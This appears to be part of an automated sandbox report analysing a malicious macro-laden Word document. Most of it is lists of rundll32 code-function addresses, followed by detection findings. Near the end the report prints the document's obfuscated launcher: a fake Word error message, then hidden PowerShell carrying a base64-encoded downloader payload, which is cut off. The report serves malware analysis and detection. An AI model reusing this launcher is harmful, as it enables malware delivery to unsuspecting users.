Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00282B16 10_2_00282B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00280B68 10_2_00280B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027C769 10_2_0027C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027E377 10_2_0027E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00281773 10_2_00281773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00275B79 10_2_00275B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00278F78 10_2_00278F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00282349 10_2_00282349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00288F49 10_2_00288F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00289B45 10_2_00289B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00276754 10_2_00276754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027B75F 10_2_0027B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002873AC 10_2_002873AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002769A0 10_2_002769A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002717AC 10_2_002717AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002861B8 10_2_002861B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00286DB9 10_2_00286DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0028878F 10_2_0028878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027F98C 10_2_0027F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00289586 10_2_00289586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00276D9F 10_2_00276D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027839D 10_2_0027839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00277998 10_2_00277998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002867E9 10_2_002867E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002871EF 10_2_002871EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_002831E2 10_2_002831E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027D7EB 10_2_0027D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00283FE7 10_2_00283FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00281BDF 10_2_00281BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00279FDC 10_2_00279FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AB41F 11_2_001AB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AEE78 11_2_001AEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A2C63 11_2_001A2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B3895 11_2_001B3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A568E 11_2_001A568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B42DA 11_2_001B42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B02C3 11_2_001B02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AC0C6 11_2_001AC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A8736 11_2_001A8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B4B41 11_2_001B4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A7B63 11_2_001A7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B63C1 11_2_001B63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B340A 11_2_001B340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B7A0F 11_2_001B7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A2A30 11_2_001A2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A9A37 11_2_001A9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A4A35 11_2_001A4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AE05A 11_2_001AE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AEA4C 11_2_001AEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AF444 11_2_001AF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B687F 11_2_001B687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B5A61 11_2_001B5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B889D 11_2_001B889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A1280 11_2_001A1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A80BA 11_2_001A80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A60B9 11_2_001A60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A48BD 11_2_001A48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001BA0AF 11_2_001BA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A62A3 11_2_001A62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B8ADC 11_2_001B8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A96CD 11_2_001A96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B20C5 11_2_001B20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A1CFA 11_2_001A1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B26F5 11_2_001B26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B12E2 11_2_001B12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A88E5 11_2_001A88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B511B 11_2_001B511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B7F1F 11_2_001B7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B5D1D 11_2_001B5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B8D1C 11_2_001B8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AB112 11_2_001AB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B2B16 11_2_001B2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B0F0C 11_2_001B0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B7D03 11_2_001B7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001ABB3A 11_2_001ABB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A153C 11_2_001A153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B0D33 11_2_001B0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AF536 11_2_001AF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AB75F 11_2_001AB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A6754 11_2_001A6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B2349 11_2_001B2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B8F49 11_2_001B8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B9B45 11_2_001B9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A8F78 11_2_001A8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A5B79 11_2_001A5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B1773 11_2_001B1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AE377 11_2_001AE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AC769 11_2_001AC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B0B68 11_2_001B0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A7998 11_2_001A7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A6D9F 11_2_001A6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A839D 11_2_001A839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B878F 11_2_001B878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AF98C 11_2_001AF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B9586 11_2_001B9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B6DB9 11_2_001B6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B61B8 11_2_001B61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A17AC 11_2_001A17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B73AC 11_2_001B73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A69A0 11_2_001A69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B1BDF 11_2_001B1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001A9FDC 11_2_001A9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AD7EB 11_2_001AD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B67E9 11_2_001B67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B71EF 11_2_001B71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B31E2 11_2_001B31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001B3FE7 11_2_001B3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C2C63 12_2_006C2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CEE78 12_2_006CEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CB41F 12_2_006CB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CC0C6 12_2_006CC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D02C3 12_2_006D02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D42DA 12_2_006D42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C568E 12_2_006C568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D3895 12_2_006D3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C7B63 12_2_006C7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D4B41 12_2_006D4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C8736 12_2_006C8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D63C1 12_2_006D63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D5A61 12_2_006D5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D687F 12_2_006D687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CEA4C 12_2_006CEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CF444 12_2_006CF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CE05A 12_2_006CE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C4A35 12_2_006C4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C9A37 12_2_006C9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C2A30 12_2_006C2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D7A0F 12_2_006D7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D340A 12_2_006D340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C88E5 12_2_006C88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D12E2 12_2_006D12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C1CFA 12_2_006C1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D26F5 12_2_006D26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C96CD 12_2_006C96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D20C5 12_2_006D20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D8ADC 12_2_006D8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006DA0AF 12_2_006DA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C62A3 12_2_006C62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C48BD 12_2_006C48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C60B9 12_2_006C60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C80BA 12_2_006C80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C1280 12_2_006C1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D889D 12_2_006D889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CC769 12_2_006CC769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D0B68 12_2_006D0B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C8F78 12_2_006C8F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C5B79 12_2_006C5B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CE377 12_2_006CE377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D1773 12_2_006D1773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D2349 12_2_006D2349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D8F49 12_2_006D8F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D9B45 12_2_006D9B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CB75F 12_2_006CB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C6754 12_2_006C6754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C153C 12_2_006C153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CBB3A 12_2_006CBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CF536 12_2_006CF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D0D33 12_2_006D0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D0F0C 12_2_006D0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D7D03 12_2_006D7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D5D1D 12_2_006D5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D8D1C 12_2_006D8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D7F1F 12_2_006D7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D511B 12_2_006D511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D2B16 12_2_006D2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CB112 12_2_006CB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D71EF 12_2_006D71EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D67E9 12_2_006D67E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CD7EB 12_2_006CD7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D3FE7 12_2_006D3FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D31E2 12_2_006D31E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C9FDC 12_2_006C9FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D1BDF 12_2_006D1BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C17AC 12_2_006C17AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D73AC 12_2_006D73AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C69A0 12_2_006C69A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D6DB9 12_2_006D6DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D61B8 12_2_006D61B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CF98C 12_2_006CF98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D878F 12_2_006D878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006D9586 12_2_006D9586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C839D 12_2_006C839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C6D9F 12_2_006C6D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006C7998 12_2_006C7998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EB41F 13_2_001EB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EEE78 13_2_001EEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E2C63 13_2_001E2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F3895 13_2_001F3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E568E 13_2_001E568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F42DA 13_2_001F42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EC0C6 13_2_001EC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F02C3 13_2_001F02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E8736 13_2_001E8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F4B41 13_2_001F4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E7B63 13_2_001E7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F63C1 13_2_001F63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F7A0F 13_2_001F7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F340A 13_2_001F340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E9A37 13_2_001E9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E4A35 13_2_001E4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E2A30 13_2_001E2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EE05A 13_2_001EE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EEA4C 13_2_001EEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EF444 13_2_001EF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F687F 13_2_001F687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F5A61 13_2_001F5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F889D 13_2_001F889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E1280 13_2_001E1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E48BD 13_2_001E48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E80BA 13_2_001E80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E60B9 13_2_001E60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001FA0AF 13_2_001FA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E62A3 13_2_001E62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F8ADC 13_2_001F8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E96CD 13_2_001E96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F20C5 13_2_001F20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E1CFA 13_2_001E1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F26F5 13_2_001F26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001E88E5 13_2_001E88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F12E2 13_2_001F12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001F7F1F 13_2_001F7F1F
Document contains an embedded VBA macro which executes code when the document is opened / closed
Source: pack-91089 416755919.doc OLE, VBA macro line: Private Sub Document_open()
Source: VBA code instrumentation OLE, VBA macro: Module A5gd21klfqu9c6rs, Function Document_open Name: Document_open
Document contains embedded VBA macros
Source: pack-91089 416755919.doc OLE indicator, VBA macros: true
Yara signature match
Source: 00000005.00000002.2104426345.0000000000356000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.2104546629.0000000001CC6000.00000004.00000001.sdmp, type: MEMORY Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: rundll32.exe, 00000006.00000002.2113194713.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2108067527.0000000002200000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@24/8@7/5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_00221C88 CreateToolhelp32Snapshot, 14_2_00221C88
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002D70 SysAllocString,CoCreateInstance,PropVariantClear,SysFreeString,SysFreeString, 7_2_10002D70
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$ck-91089 416755919.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRD1FE.tmp Jump to behavior
Source: pack-91089 416755919.doc OLE indicator, Word Document stream: true
Source: pack-91089 416755919.doc OLE document summary: title field not present or empty
Source: pack-91089 416755919.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ..%.........J........................... .#.......#.....................................#.........................%.....h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............J...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......H.......L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K......H.U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..%.............y=.v.....................N.j....................................}..v.....k......0.................%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................N.j..... ..............................}..v....(l......0...............H.U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..%.............y=.v.....................N.j....................................}..v.....x......0.................%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v.....................N.j....(.U.............................}..v.....y......0.................U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ..%.............y=.v....#................M.j....................................}..v....(.......0.................%............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#................M.j..... ..............................}..v............0.................U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'................H.j....E...............................}..v....8G......0...............(.U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....+................H.j....E...............................}..v............0...............(.U............................. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL
Source: pack-91089 416755919.doc Virustotal: Detection: 36%
Source: pack-91089 416755919.doc ReversingLabs: Detection: 43%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAA